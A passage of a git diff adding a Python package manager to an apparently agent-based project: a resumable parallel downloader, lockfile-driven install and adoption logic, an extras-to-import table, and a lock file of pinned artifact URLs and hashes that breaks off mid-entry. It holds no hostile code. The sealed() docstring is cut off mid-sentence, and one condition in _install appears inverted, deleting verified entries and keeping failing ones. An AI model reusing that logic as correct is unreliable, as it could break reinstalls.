f"{key}.ranges" + covered = self._load_sidecar(side) + if any(b > total for _, b in covered): + covered = [] # server now serves a smaller file: stale partial + # Create the file WITHOUT truncating an existing partial (resume), + # then size it to total (extends with zeros / shrinks stale tails). + open(part, "ab").close() + with open(part, "r+b") as f: + f.truncate(total) + if covered: + ranges = _missing(total, covered) + else: + n = max(1, min(self.connections, (total + _CHUNK - 1) // _CHUNK)) + ranges = [(i * total // n, (i + 1) * total // n) for i in range(n)] + # NOT coalesced: the fresh split is the parallel fan-out, and + # adjacent chunks must stay separate workers. (_missing already + # returns disjoint gaps, so resume needs no merge either.) + ranges = [r for r in ranges if r[1] > r[0]] + + lock = threading.Lock() + errors: list[Exception] = [] + stop = threading.Event() + written = [sum(b - a for a, b in covered)] + + def worker(start: int, end: int) -> None: + try: + req = urllib.request.Request( + source.url, + headers={**_UA, "Range": f"bytes={start}-{end - 1}"}) + with _OPENER.open(req, timeout=120) as r, \ + open(part, "r+b") as f: + f.seek(start) + pos = start + while pos < end: + if self._paused.is_set() or stop.is_set(): + return + chunk = r.read(min(_CHUNK, end - pos)) + if not chunk: + break + f.write(chunk) + pos += len(chunk) + with lock: + covered[:] = _coalesce(covered + [(start, pos)]) + written[0] += len(chunk) + tick(list(covered)) + except Exception as exc: # noqa: BLE001 + with lock: + errors.append(exc) + stop.set() + + threads = [ + threading.Thread(target=worker, args=b, daemon=True, + name=f"dl-{key[:8]}-{i}") + for i, b in enumerate(ranges) + ] + for t in threads: + t.start() + for t in threads: + t.join() + + if self._paused.is_set(): + self._write_sidecar(side, covered) + raise DownloadPaused(source.url) + if errors: + self._write_sidecar(side, covered) + raise errors[0] + if written[0] != total: + self._write_sidecar(side, covered) + raise DownloadError( + f"download incomplete ({written[0]} of {total} bytes)") + self._finalize(source, part, side) + + def _fetch_single(self, source: Source, total: int, tick) -> None: + """No-Range fallback: one stream. A server without Range support + cannot resume, so each run restarts the file.""" + key = self._key(source.url) + part = self.partials_dir / f"{key}.part" + side = self.partials_dir / f"{key}.ranges" + covered: _Ranges = [] + req = urllib.request.Request(source.url, headers=_UA) + try: + with _OPENER.open(req, timeout=120) as r, open(part, "wb") as f: + declared = int(r.headers.get("Content-Length") or 0) + pos = 0 + while True: + if self._paused.is_set(): + self._write_sidecar(side, covered) + raise DownloadPaused(source.url) + chunk = r.read(_CHUNK) + if not chunk: + break + f.write(chunk) + pos += len(chunk) + covered = [(0, pos)] + tick(list(covered)) + if self._paused.is_set(): + self._write_sidecar(side, covered) + raise DownloadPaused(source.url) + if declared and pos != declared: + raise DownloadError( + f"download ended at {pos:,} bytes but the server " + f"said {declared:,} — connection dropped?") + if total and pos != total: + raise DownloadError( + f"download incomplete ({pos} of {total} bytes)") + except DownloadError: + self._write_sidecar(side, covered) + raise + except Exception: + self._write_sidecar(side, covered) + raise + self._finalize(source, part, side) + + def _finalize(self, source: Source, part: Path, side: Path) -> None: + if source.sha256: + actual = _sha256_file(part) + if actual != source.sha256: + part.unlink(missing_ok=True) + side.unlink(missing_ok=True) + raise HashError( + f"sha256 mismatch for {source.url}: pinned " + f"{source.sha256}, got {actual}") + source.dest.parent.mkdir(parents=True, exist_ok=True) + shutil.move(str(part), str(source.dest)) + side.unlink(missing_ok=True) diff --git a/pm/ensure.py b/pm/ensure.py new file mode 100644 index 0000000000..88c26a79d4 --- /dev/null +++ b/pm/ensure.py @@ -0,0 +1,538 @@ +"""ensure(): make the installed state match the lockfile for a package, +and hand back its composed environment.""" + +from __future__ import annotations + +import logging +import shutil +from typing import Optional + +from pm import paths +from pm.lock import Facts, Lockfile +from pm.package import InstallError, Package, Runner, StatePackage, compose_env +from pm.registry import get_package, walk +from pm.store import Store, current_target, merge_tree, tree_digest + +LOG = logging.getLogger(__name__) + +# ``progress(stage, done, total, label)`` — stage is "download" | "unpack", +# label is the archive counter ("1/2") when a package has several. Slow +# lines sit in one stage for minutes, so the byte counters are what prove +# liveness to a UI. + + +def _artifact_progress(progress, index: int, count: int): + if progress is None: + return None + label = f"{index + 1}/{count}" if count > 1 else "" + return lambda done, total: progress("download", done, total, label) + + +def _lockfile() -> Lockfile: + return Lockfile(paths.lockfile_path()) + + +def _facts() -> Facts: + return Facts(paths.facts_path()) + + +def _store() -> Store: + return Store(paths.store_root()) + + +def _identity(lockfile: Lockfile, name: str, target: str): + """The identity the lock currently pins for `name` on `target`: + (target, tuple(artifact sha256s)) — or None when the lock pins no + artifacts (nothing digest-bound to compare).""" + artifacts = lockfile.artifacts(name, target) + if not artifacts: + return None + return (target, tuple(a["sha256"] for a in artifacts)) + + +def lazy_installs_allowed() -> bool: + """Policy: may pm install things on demand right now? + + HERMES_DISABLE_LAZY_INSTALLS is an internal bridge var set by the + official Docker image and the hermetic test harness. The user-facing + setting is security.allow_lazy_installs in config.yaml; a config + system that fails to load counts as ALLOWED only when hermes_cli is + genuinely absent (bootstrap) — config errors fail closed. + """ + import os + + if os.environ.get("HERMES_DISABLE_LAZY_INSTALLS", "").strip().lower() in ( + "1", + "true", + "yes", + ): + return False + try: + from hermes_cli.config import get_config_value + except ImportError: + return True + try: + return bool(get_config_value("security.allow_lazy_installs", True)) + except Exception: + return False + + +def enabled_extras() -> list[str]: + """The venv extras recorded in the installed state.""" + return list((_facts().get("venv") or {}).get("extras", [])) + + +def is_installed(name: str) -> bool: + lockfile = _lockfile() + facts = _facts() + return facts.installed( + name, + lockfile.version(name), + _store().root, + _identity(lockfile, name, current_target()), + ) + + +def sealed() -> bool: + """A bundled payload is read-only: its store sits beside the bundle + manifest. Asking a sealed install for MORE than it shipped is a + Sealed = bundled LAYOUT only; adoption verification is adopt()'s job.""" + return (paths.store_root().parent / "manifest.json").is_file() + + +def _refuse_lazy(name: str, what: str) -> InstallError: + if sealed(): + return InstallError( + name, + f"this install is sealed and does not ship: {what}", + "the bundle bakes its entire tree at build time; rebuild the bundle", + ) + return InstallError( + name, + f"not installed and lazy installs are disabled: {what}", + "enable security.allow_lazy_installs or run `hermes pm install`", + ) + + +def _remove_entry(store: Store, entry_name: str) -> None: + """Remove a published store entry before re-realizing it. NOT + fire-and-forget: a silent failure here would leave the stale entry in + place and publish() would then keep it (a concurrent-winner guard), + re-recording facts over bytes the new lock never produced. Defender / + indexer handles on Windows make removal transiently fail, so retry — + then fail loudly.""" + import time + + entry = store.entry(entry_name) + for attempt in range(5): + try: + shutil.rmtree(entry) + return + except FileNotFoundError: + return + except OSError as e: + if attempt == 4: + raise + time.sleep(0.2 * (attempt + 1)) + + +def _install( + package: Package, + lockfile: Lockfile, + facts: Facts, + store: Store, + target: str, + progress=None, +) -> None: + version = lockfile.version(package.name) + if version is None: + raise InstallError( + package.name, "not in the lockfile", "add it with `hermes pm lock --bump`" + ) + + reason = package.missing_reason(target) + if reason is not None: + raise InstallError(package.name, f"unavailable on {target}: {reason}", "none") + + artifacts = lockfile.artifacts(package.name, target) + entry_name = package.store_entry(version, target) + + with store.install_lock(): + facts.reload() + if facts.installed( + package.name, version, store.root, _identity(lockfile, package.name, target) + ): + return + entry = store.entry(entry_name) + _cond = store.published(entry_name) and package.verify(entry, target) == "" + if _cond: + _remove_entry(store, entry_name) + if not store.published(entry_name): + if not artifacts: + raise InstallError( + package.name, + f"no artifact for {target} in the lockfile", + "run `hermes pm lock --bump` for this package", + ) + with store.scratch() as scratch: + staged = scratch / "tree" + try: + for index, artifact in enumerate(artifacts): + label = f"{index + 1}/{len(artifacts)}" if len(artifacts) > 1 else "" + archive = store.fetch( + artifact["url"], artifact["sha256"], scratch, + progress=_artifact_progress( + progress, index, len(artifacts)), + ) + if progress is not None: + progress("unpack", 0, 0, label) + if index == 0: + package.unpack(archive, staged, target) + continue + # unpack() empties its destination by contract, so + # a second archive must be unpacked apart and moved + # in — extracting over `staged` would delete the + # first archive's files. + extra = scratch / f"extra-{index}" + package.unpack(archive, extra, target) + merge_tree(extra, staged) + package.stage(store, staged, version, target) + store.publish(staged, entry_name) + except InstallError: + raise + except Exception as e: + raise InstallError(package.name, f"install failed: {e}") from e + + reason = package.verify(entry, target) + if reason: + raise InstallError(package.name, f"published entry failed verification: {reason}") + + previous = facts.get(package.name) + if previous and "entry" in previous: + # Work item 6: replacing an ESTABLISHED fact is a repair — + # log it, no transaction system, no receipt file. + old_artifact = (previous.get("artifacts") or ["?"])[0] + old = f"{previous.get('version', '?')}/{str(old_artifact)[:12]}" + new = ( + f"{version}/{artifacts[0]['sha256'][:12]}" + if artifacts + else version + ) + LOG.info("repair: %s re-realized %s -> %s", package.name, old, new) + env = package.env(entry, target) + facts.record( + package.name, + version, + entry_name, + env, + store.root, + target=target, + artifacts=[a["sha256"] for a in artifacts], + digest=tree_digest(entry), + ) + if previous and previous.get("version") != version: + package.migrate(previous["version"], version) + + +def ensure( + name: str, + *, + base_env: Optional[dict] = None, + explicit: bool = False, + progress=None, +) -> Runner: + """``explicit`` marks a deliberate install command (`hermes pm + install`, `hermes pm bundle`) — those ARE the remedy the lazy-install + policy names, so the policy does not apply to them. + + ``progress(stage, done, total, label)`` reports the slow parts of an + install to a UI; see _artifact_progress. + """ + if isinstance(get_package(name), StatePackage): + sync_venv(explicit=explicit) + return Runner(name, compose_env([], base=base_env)) + + lockfile = _lockfile() + facts = _facts() + store = _store() + target = current_target() + + chain = walk([name]) + missing = [ + p + for p in chain + if not facts.installed( + p.name, lockfile.version(p.name), store.root, _identity(lockfile, p.name, target) + ) + ] + + if missing and (sealed() or (not explicit and not lazy_installs_allowed())): + raise _refuse_lazy(name, ", ".join(p.name for p in missing)) + + for package in missing: + _install(package, lockfile, facts, store, target, progress=progress) + if missing: + facts.reload() + + diffs = [facts.env_for(p.name, store.root) for p in chain] + return Runner(name, compose_env(diffs, base=base_env)) + + +def env_for(*names: str, base_env: Optional[dict] = None) -> dict[str, str]: + """Composed env of already-installed packages only. Never installs, + never raises on missing packages — they contribute nothing.""" + facts = _facts() + store = _store() + lockfile = _lockfile() + target = current_target() + diffs: list[dict] = [] + for name in names: + try: + chain = walk([name]) + except KeyError: + continue + for package in chain: + if facts.installed( + package.name, + lockfile.version(package.name), + store.root, + _identity(lockfile, package.name, target), + ): + diffs.append(facts.env_for(package.name, store.root)) + return compose_env(diffs, base=base_env) + + +def sync_venv(extras: Optional[list[str]] = None, *, explicit: bool = False) -> None: + """Make the venv match uv.lock + the enabled extras. Extras union into + the installed state (one ledger); no-op when the stamp already matches. + ``explicit`` marks a deliberate install command (`hermes pm install`, + `hermes update`) — those are the remedy the lazy-install policy points + at, so the policy does not apply to them.""" + package = get_package("venv") + facts = _facts() + fact = facts.get("venv") or {} + enabled = sorted(set(fact.get("extras", [])) | set(extras or [])) + stamp = package.expected_stamp(enabled) + if fact.get("stamp") == stamp: + return + if sealed() or (not explicit and not lazy_installs_allowed()): + raise _refuse_lazy("venv", str(extras) if extras else "venv out of sync") + with _store().install_lock(): + facts.reload() + fact = facts.get("venv") or {} + enabled = sorted(set(fact.get("extras", [])) | set(extras or [])) + stamp = package.expected_stamp(enabled) + if fact.get("stamp") == stamp: + return + package.apply(enabled) + facts.record_state("venv", stamp, enabled) + + +def adopt() -> bool: + """First boot of a bundled install: verify the shipped payload, then + make it THIS machine's installed state. The payload's own shipped + ``pm/lock.json`` (inside the repo snapshot) is the offline authority: + for every package it pins, the shipped fact must record the shipped + identity, package.verify() must pass, and the recorded realized digest + must match a fresh tree_digest() over the actual bytes. Any failure: + log the offending package, do NOT write `.adopted`, return False — + adopt() refuses to vouch for bytes it could not prove. + + Idempotent and cheap-ish: returns False when there is nothing to + adopt (no shipped facts, or already adopted).""" + store = _store() + facts = _facts() + if not paths.facts_path().is_file(): + return False + + marker = store.root.parent / ".adopted" + if marker.is_file(): + return False + + shipped_lock = paths.repo_root() / "pm" / "lock.json" + if shipped_lock.is_file(): + lockfile = Lockfile(shipped_lock) + target = current_target() + for name in lockfile.names(): + try: + package = get_package(name) + except KeyError: + continue + if isinstance(package, StatePackage): + continue + fact = facts.get(name) + if not facts.installed( + name, lockfile.version(name), store.root, _identity(lockfile, name, target) + ): + LOG.warning( + "pm adopt: refusing %s: fact missing, legacy (no recorded " + "identity), or does not match the shipped lock", + name, + ) + return False + entry = store.entry(fact["entry"]) + reason = package.verify(entry, target) + if reason: + LOG.warning( + "pm adopt: refusing %s: staged entry failed verification: %s", + name, reason, + ) + return False + if fact.get("digest") != tree_digest(entry): + LOG.warning( + "pm adopt: refusing %s: realized bytes do not match the " + "recorded digest", + name, + ) + return False + + try: + marker.write_text("", encoding="utf-8") + except OSError: + pass + return True + + +def check() -> list[str]: + """The startup check: cheap stamp comparisons of the installed state + against the lockfile. Returns problems; empty means healthy. Never + installs, never touches the network. An install pm has never touched + (no installed-state file) reports nothing — pm only vouches for what + it installed. Lockfile packages this build doesn't know (version skew + during a partial update) are skipped, not fatal.""" + if not paths.facts_path().is_file(): + return [] + + problems: list[str] = [] + lockfile = _lockfile() + facts = _facts() + store = _store() + target = current_target() + for name in lockfile.names(): + try: + package = get_package(name) + except KeyError: + continue + if package.optional or package.internal: + continue + if package.missing_reason(target) is not None: + continue + if not facts.installed( + name, lockfile.version(name), store.root, _identity(lockfile, name, target) + ): + problems.append(f"{name}: not installed or outdated") + try: + venv = get_package("venv") + except KeyError: + venv = None + fact = facts.get("venv") + if venv is not None and fact is not None: + expected = venv.expected_stamp(fact.get("extras", [])) + if fact.get("stamp") != expected: + problems.append("venv: out of sync with uv.lock") + return problems + + +def _store_path_dirs() -> list[str]: + """Composed PATH dirs of all installed (non-internal, on_path) store + packages, deps-first, deduped. Includes optional packages that are + *installed* (facts say so) — an installed git/gh must be on PATH even + though it's not in the root closure. Never installs.""" + import os + + if not paths.facts_path().is_file(): + return [] + facts = _facts() + store = _store() + lockfile = _lockfile() + target = current_target() + dirs: list[str] = [] + for name in lockfile.names(): + try: + package = get_package(name) + except KeyError: + continue + if package.internal: + continue + if not getattr(package, "on_path", True): + continue + if package.missing_reason(target) is not None: + continue + if not facts.installed( + name, lockfile.version(name), store.root, _identity(lockfile, name, target) + ): + continue + env = facts.env_for(name, store.root) + path_dirs = env.get("PATH") or [] + if isinstance(path_dirs, str): + path_dirs = [path_dirs] + for directory in path_dirs: + if directory and directory not in dirs: + dirs.append(str(directory)) + return dirs + + +def activate() -> None: + """Make the installed store usable: prepend its tool dirs to + os.environ['PATH'] so reactive `shutil.which('git'|'bash'|'ffmpeg'|...)` + resolves the bundled binaries. The gate is `check()` — if the store is + broken, refuse to inject (fail fast rather than serving a partial PATH). + + This is the ONE sanctioned global PATH write: PATH is the discovery + contract every `which` reads, not a tool-specific env leak. Store-first + unconditionally — pinned bundled versions win on dev machines too. + """ + import os + + if check(): + return # broken store → do not provision; callers surface `hermes pm install` + dirs = _store_path_dirs() + if not dirs: + return + existing = os.environ.get("PATH", "") + prefix = os.pathsep.join(dirs) + existing_lower = {p.lower() for p in existing.split(os.pathsep) if p} + missing = [d for d in dirs if d.lower() not in existing_lower] + if missing: + os.environ["PATH"] = os.pathsep.join([*missing, existing]) if existing else os.pathsep.join(missing) + + + +def uv(*, venv=None, realize: bool = True): + """TRANSITIONAL: (uv path, sanitized env) for call sites that still + drive uv themselves. Two classes remain: update/repair sites (die with + the update collapse, plan step 4) and side-venv installs — browser-use + tool venvs (tools_config, browser_use_cli) and hindsight's + local_embedded daemon — which survive until pm grows the side-venv + package kind (plan step 5's remaining half). Must not spread.""" + from pm.packages import uv_env + + env = uv_env() + if venv is not None: + env["VIRTUAL_ENV"] = str(venv) + env.pop("UV_NO_CONFIG", None) + + lockfile = _lockfile() + facts = _facts() + store = _store() + package = get_package("uv") + if not facts.installed( + "uv", lockfile.version("uv"), store.root, _identity(lockfile, "uv", current_target()) + ): + if not realize or not lazy_installs_allowed(): + return None, env + try: + _install(package, lockfile, facts, store, current_target()) + facts.reload() + except Exception: + import logging + + logging.getLogger(__name__).debug("pm.uv: install failed", exc_info=True) + return None, env + fact = facts.get("uv") + if fact is None: + return None, env + binary = package.binary(store.entry(fact["entry"]), current_target()) + if binary is None or not binary.is_file(): + return None, env + return str(binary), env diff --git a/pm/extras.py b/pm/extras.py new file mode 100644 index 0000000000..92001f0211 --- /dev/null +++ b/pm/extras.py @@ -0,0 +1,122 @@ +"""Extras: the runtime features of the python venv. + +Feature names ARE pyproject extra names. This table maps each extra to the +import that proves it (the anchor), so availability is one find_spec — no +package-manager machinery on the hot path. sync_venv([extra]) makes an extra +true; pm owns HOW (uv sync inside the venv package). +""" + +from __future__ import annotations + +import importlib.util + + +# extra name -> module that proves it is installed +ANCHORS: dict[str, str | tuple[str, ...]] = { + "anthropic": "anthropic", + "bedrock": "boto3", + "vertex": "google.auth", + "azure-identity": "azure.identity", + "exa": "exa_py", + "firecrawl": "firecrawl", + "parallel-web": "parallel", + "otlp": "opentelemetry.sdk", + "mistral": "mistralai", + "edge-tts": "edge_tts", + "tts-premium": "elevenlabs", + "voice": "faster_whisper", + "stt-whisper": "faster_whisper", + "audio-io": ("sounddevice", "numpy"), + "silk": "pilk", + "wake": "openwakeword", + "wake-openwakeword": "openwakeword", + "wake-sherpa": "sherpa_onnx", + "wake-porcupine": "pvporcupine", + "wake-tflite": "ai_edge_litert", + "fal": "fal_client", + "honcho": "honcho", + "hindsight": "hindsight", + "supermemory": "supermemory", + "mem0": "mem0", + "messaging": "telegram", + "telegram": "telegram", + "discord": "discord", + "slack": "slack_bolt", + "matrix": ("mautrix", "asyncpg", "aiosqlite", "markdown", "aiohttp_socks"), + "dingtalk": "dingtalk_stream", + "feishu": "lark_oapi", + "wecom": "defusedxml", + "teams": "microsoft.teams.apps", + "modal": "modal", + "daytona": "daytona", + "vercel": "vercel", + "google": "googleapiclient", + "google-chat": "google.cloud.pubsub_v1", + "youtube": "youtube_transcript_api", + "acp": "acp", + "web": "fastapi", + "doc-extract": "anydoc", + "computer-use": "mcp", + "trace-upload": "huggingface_hub", +} + + +def _anchors(extra: str) -> tuple[str, ...]: + got = ANCHORS.get(extra, extra.replace("-", "_")) + return got if isinstance(got, tuple) else (got,) + + +def _importable(anchor: str) -> bool: + """An anchor already present in sys.modules counts even without a + findable spec — tests fake SDKs by inserting modules there, and the + caller's import right after this check resolves the same way.""" + import sys + + if anchor in sys.modules: + return True + try: + return importlib.util.find_spec(anchor) is not None + except (ImportError, ValueError): + return False + + +def available(extra: str) -> bool: + """Fast, side-effect-free: are all of this extra's anchors importable?""" + return all(_importable(a) for a in _anchors(extra)) + + +def ensure_import(extra: str) -> None: + """Make an extra available: no-op when the anchor imports, otherwise + sync the venv with the extra enabled. Raises InstallError on failure.""" + if available(extra): + return + from pm.ensure import sync_venv + + sync_venv([extra]) + + +def ensure_and_bind(extra, importer, target_globals) -> bool: + """ensure_import + rebind module-level names after a mid-process install. + importer returns {name: value}; bound into target_globals on success.""" + try: + ensure_import(extra) + except Exception as exc: + import logging + + logging.getLogger(__name__).warning("extra %r unavailable: %s", extra, exc) + return False + try: + bindings = importer() + except ImportError as exc: + import logging + + logging.getLogger(__name__).warning( + "import after installing %r failed: %s", extra, exc + ) + return False + target_globals.update(bindings) + return True + + +def missing(extra: str) -> tuple[str, ...]: + return tuple(a for a in _anchors(extra) if not _importable(a)) diff --git a/pm/lock.json b/pm/lock.json new file mode 100644 index 0000000000..68de12c6ee --- /dev/null +++ b/pm/lock.json @@ -0,0 +1,381 @@ +{ + "packages": { + "agent-browser": { + "artifacts": { + "any": { + "sha256": "8a48cf4110d7dc2c12c1c4d6d25e0babdfa31604b537f05df0dc835fe2f854bf", + "url": "https://registry.npmjs.org/agent-browser/-/agent-browser-0.26.0.tgz" + } + }, + "version": "0.26.0" + }, + "chromium": { + "artifacts": { + "darwin-arm64": { + "sha256": "3dbf04e28a02079148e9c7417840a0c1d3903361eceeee7e7eb59ef77021bdb2", + "url": "https://cdn.playwright.dev/builds/cft/145.0.7632.6/mac-arm64/chrome-mac-arm64.zip" + }, + "darwin-x64": { + "sha256": "0de8f876af53a93f8832e54490ff7de41a9b6648211590280cb50289ed45f240", + "url": "https://cdn.playwright.dev/builds/cft/145.0.7632.6/mac-x64/chrome-mac-x64.zip" + }, + "linux-arm64": { + "sha256": "70b4620521b1ada360475e1059dfe9d549a6461a79b9342f85b7d47e44123077", + "url": "https://cdn.playwright.dev/dbazure/download/playwright/builds/chromium/1208/chromium-linux-arm64.zip" + }, + "linux-x64": { + "sha256": "b5e3195041af345a668d110f5daf5581961fa3608626ea588c97dd0fe81c4e38", + "url": "https://cdn.playwright.dev/builds/cft/145.0.7632.6/linux64/chrome-linux64.zip" + }, + "win32-arm64": { + "sha256": "08476e6fe550ccbc0d11d1ab030292fc4e32d4987400c77b2d1905a6bd13b4f6", + "url": "https://cdn.playwright.dev/builds/cft/145.0.7632.6/win64/chrome-win64.zip" + }, + "win32-x64": { + "sha256": "08476e6fe550ccbc0d11d1ab030292fc4e32d4987400c77b2d1905a6bd13b4f6", + "url": "https://cdn.playwright.dev/builds/cft/145.0.7632.6/win64/chrome-win64.zip" + } + }, + "version": "1208+145.0.7632.6" + }, + "chromium-headless-shell": { + "artifacts": { + "darwin-arm64": { + "sha256": "8510b9b1575538aa6a092ed16d981738b2ebf52c5e41ea4c54a7ce16756cdcf5", + "url": "https://cdn.playwright.dev/builds/cft/145.0.7632.6/mac-arm64/chrome-headless-shell-mac-arm64.zip" + }, + "darwin-x64": { + "sha256": "4316f7f98213a173e2356406203359cd4ab5b2b2db36cb219b9d99edec746819", + "url": "https://cdn.playwright.dev/builds/cft/145.0.7632.6/mac-x64/chrome-headless-shell-mac-x64.zip" + }, + "linux-arm64": { + "sha256": "6bdb4349429ec33e7c0267e0eaa039c2131fa0b3b2997dec0ec96b0d40f579fd", + "url": "https://cdn.playwright.dev/dbazure/download/playwright/builds/chromium/1208/chromium-headless-shell-linux-arm64.zip" + }, + "linux-x64": { + "sha256": "2536e97d8f410df0394b3e7c4252e88ce9f239f04f3af4e247a26caf45baf49e", + "url": "https://cdn.playwright.dev/builds/cft/145.0.7632.6/linux64/chrome-headless-shell-linux64.zip" + }, + "win32-arm64": { + "sha256": "839500db9e1b0865961ce8b05134ba3d3d71b82be5dec236d6c87ecd93e082cd", + "url": "https://cdn.playwright.dev/builds/cft/145.0.7632.6/win64/chrome-headless-shell-win64.zip" + }, + "win32-x64": { + "sha256": "839500db9e1b0865961ce8b05134ba3d3d71b82be5dec236d6c87ecd93e082cd", + "url": "https://cdn.playwright.dev/builds/cft/145.0.7632.6/win64/chrome-headless-shell-win64.zip" + } + }, + "version": "1208+145.0.7632.6" + }, + "cua-driver": { + "artifacts": { + "darwin-arm64": { + "sha256": "5e327e58f6ce81d5c117fe5edec5f267e87e1b921e8c5a8aa4f7f21cbcf5f273", + "url": "https://github.com/trycua/cua/releases/download/cua-driver-rs-v0.21.0/cua-driver-rs-0.21.0-darwin-universal-binary.tar.gz" + }, + "darwin-x64": { + "sha256": "5e327e58f6ce81d5c117fe5edec5f267e87e1b921e8c5a8aa4f7f21cbcf5f273", + "url": "https://github.com/trycua/cua/releases/download/cua-driver-rs-v0.21.0/cua-driver-rs-0.21.0-darwin-universal-binary.tar.gz" + }, + "linux-arm64": { + "sha256": "6b3a308c6741dd8291aad22a308bd2ec8eb52eab64687be007ac86ceaf7e3307", + "url": "https://github.com/trycua/cua/releases/download/cua-driver-rs-v0.21.0/cua-driver-rs-0.21.0-linux-arm64-binary.tar.gz" + }, + "linux-x64": { + "sha256": "cf29bfaad16737e31e72f38dad2a6424f24b21a4ac2edea885e83cb9d5034135", + "url": "https://github.com/trycua/cua/releases/download/cua-driver-rs-v0.21.0/cua-driver-rs-0.21.0-linux-x86_64-binary.tar.gz" + }, + "win32-arm64": { + "sha256": "79caf7e4f55cdab08533abf7ead4038132aa070040669238d806d057f648cc5f", + "url": "https://github.com/trycua/cua/releases/download/cua-driver-rs-v0.21.0/cua-driver-rs-0.21.0-windows-arm64-binary.zip" + }, + "win32-x64": { + "sha256": "d63f6a78e65afc06524048f5557fed36cdf01f0a8a680236e93c9a2fb3587f44", + "url": "https://github.com/trycua/cua/releases/download/cua-driver-rs-v0.21.0/cua-driver-rs-0.21.0-windows-x86_64-binary.zip" + } + }, + "version": "0.21.0" + }, + "gh": { + "artifacts": { + "darwin-arm64": { + "sha256": "a58b8fd77b417a38f47a0b54d1370c59b0fcdb324ccc9ca002b0998f7c4c999e", + "url": "https://github.com/cli/cli/releases/download/v2.97.0/gh_2.97.0_macOS_arm64.zip" + }, + "darwin-x64": { + "sha256": "63298c998cc2a924c9e254c6af6a1caad6ece281122687a91f079bc0a462700e", + "url": "https://github.com/cli/cli/releases/download/v2.97.0/gh_2.97.0_macOS_amd64.zip" + }, + "linux-arm64": { + "sha256": "73ea440ecad9c9e284429997ee6f93577bc6f7bc6fba357ef62c53ad8fb641a5", + "url": "https://github.com/cli/cli/releases/download/v2.97.0/gh_2.97.0_linux_arm64.tar.gz" + }, + "linux-x64": { + "sha256": "a2c9b8497e1f85b1ad0dfcb78b5a622e098801b8e461e459e88e1ee12f018112", + "url": "https://github.com/cli/cli/releases/download/v2.97.0/gh_2.97.0_linux_amd64.tar.gz" + }, + "win32-arm64": { + "sha256": "3e2d4a166da4ee5020c592737b65eec0e724946d5d5b962f5fe59d99116dc4bf", + "url": "https://github.com/cli/cli/releases/download/v2.97.0/gh_2.97.0_windows_arm64.zip" + }, + "win32-x64": { + "sha256": "35d7fe05c4dd1411ffda1e73dfc7c6f44b75c936ca51fa6595c657fdc0350cec", + "url": "https://github.com/cli/cli/releases/download/v2.97.0/gh_2.97.0_windows_amd64.zip" + } + }, + "version": "2.97.0" + }, + "ffmpeg": { + "artifacts": { + "darwin-arm64": { + "sha256": "8287a1b2229e05eb41859f073e18e6c52c60a778f2f5e6881070fe51b79407fe", + "url": "https://ffmpeg.martin-riedl.de/download/macos/arm64/1787073674_9.0.1/ffmpeg.zip" + }, + "darwin-x64": { + "sha256": "5bdead62ff504ab9b447cc72b212c4fb481e3f7de5877d427a51bee8136dda40", + "url": "https://ffmpeg.martin-riedl.de/download/macos/amd64/1787081194_9.0.1/ffmpeg.zip" + }, + "linux-arm64": { + "sha256": "92cff3dec20d996bb5b8a918b156b64301338e7c28046053c82d0935cf7c6eb2", + "url": "https://ffmpeg.martin-riedl.de/download/linux/arm64/1787072884_9.0.1/ffmpeg.zip" + }, + "linux-x64": { + "sha256": "18bec7d5c2ab3b24d277466b758394e109b0479133b98d155c5540ed3013fa74", + "url": "https://ffmpeg.martin-riedl.de/download/linux/amd64/1787074600_9.0.1/ffmpeg.zip" + }, + "win32-arm64": { + "sha256": "c50d45440d6376155842b653ecea1b323569b254db29cd7a42b298a924fd162c", + "url": "https://github.com/BtbN/FFmpeg-Builds/releases/download/autobuild-2026-08-28-17-08/ffmpeg-n9.0.1-11-ge47273f4d9-winarm64-gpl-9.0.zip" + }, + "win32-x64": { + "sha256": "dee63142094f79f6a50cdece65384b7793181eab3b6db2ec907834981bb8ab10", + "url": "https://github.com/BtbN/FFmpeg-Builds/releases/download/autobuild-2026-08-28-17-08/ffmpeg-n9.0.1-11-ge47273f4d9-win64-gpl-9.0.zip" + } + }, + "version": "9.0.1" + }, + "git": { + "artifacts": { + "win32-arm64": { + "sha256": "4015f05a68bd2bcf3cc6c426e8d44b65d670fbb879225bb7b7c347cfc3a2758a", + "url": "https://github.com/git-for-windows/git/releases/download/v2.53.0.windows.3/Git-2.53.0.3-arm64.tar.bz2" + }, + "win32-x64": { + "sha256": "1661f02e85a7901ad7920e2a358ee3772ed9066b00d8590bf2d9046ef10aa8b2", + "url": "https://github.com/git-for-windows/git/releases/download/v2.53.0.windows.3/Git-2.53.0.3-64-bit.tar.bz2" + } + }, + "version": "2.53.0+3" + }, + "llamacpp-cpu": { + "artifacts": { + "darwin-arm64": { + "sha256": "e353a453cadb25960bea9b24692b72bd0a6b7b50b3bab5860bd5df8a434e7c5b", + "url": "https://github.com/ggml-org/llama.cpp/releases/download/b10362/llama-b10362-bin-macos-arm64.tar.gz" + }, + "darwin-x64": { + "sha256": "007ad98aec86111c87f5a602342d9da30f410dfb2e21c35b26c338cb915196e0", + "url": "https://github.com/ggml-org/llama.cpp/releases/download/b10362/llama-b10362-bin-macos-x64.tar.gz" + }, + "linux-arm64": { + "sha256": "69bddd2aa441982bb7cf79ff65faa41a82b0629ad79741b32521ce00cba5165f", + "url": "https://github.com/ggml-org/llama.cpp/releases/download/b10362/llama-b10362-bin-ubuntu-arm64.tar.gz" + }, + "linux-x64": { + "sha256": "d55a64e814e0a379082f79b9a974499fe14bcc6f4b491ffae23e4a2993d1b85f", + "url": "https://github.com/ggml-org/llama.cpp/releases/download/b10362/llama-b10362-bin-ubuntu-x64.tar.gz" + }, + "win32-arm64": { + "sha256": "901a5c6c680f17e17c3dae1baf134b695144e300ac1e2c3f65607401406f5c75", + "url": "https://github.com/ggml-org/llama.cpp/releases/download/b10362/llama-b10362-bin-win-cpu-arm64.zip" + }, + "win32-x64": { + "sha256": "a9d95d26cf00664f2902f73cb0fd9b167a3a1f252294bb2f8b236305f57d6363", + "url": "https://github.com/ggml-org/llama.cpp/releases/download/b10362/llama-b10362-bin-win-cpu-x64.zip" + } + }, + "version": "10362" + }, + "llamacpp-cuda": { + "artifacts": { + "win32-arm64": [ + { + "sha256": "e96c44911a48f8813760b9076c7c7799db4374debb28d26a5464919bc0f27e8f", + "url": "https://github.com/ggml-org/llama.cpp/releases/download/b10362/llama-b10362-bin-win-cuda-13.4-arm64.zip" + }, + { + "sha256": "5a40dc7c5fa3d0a80ceeba4f16f9e8d25d87bcf1399c9233588953c43436c33c", + "url": "https://github.com/ggml-org/llama.cpp/releases/download/b10362/cudart-llama-bin-win-cuda-13.4-arm64.zip" + } + ], + "win32-x64": [ + { + 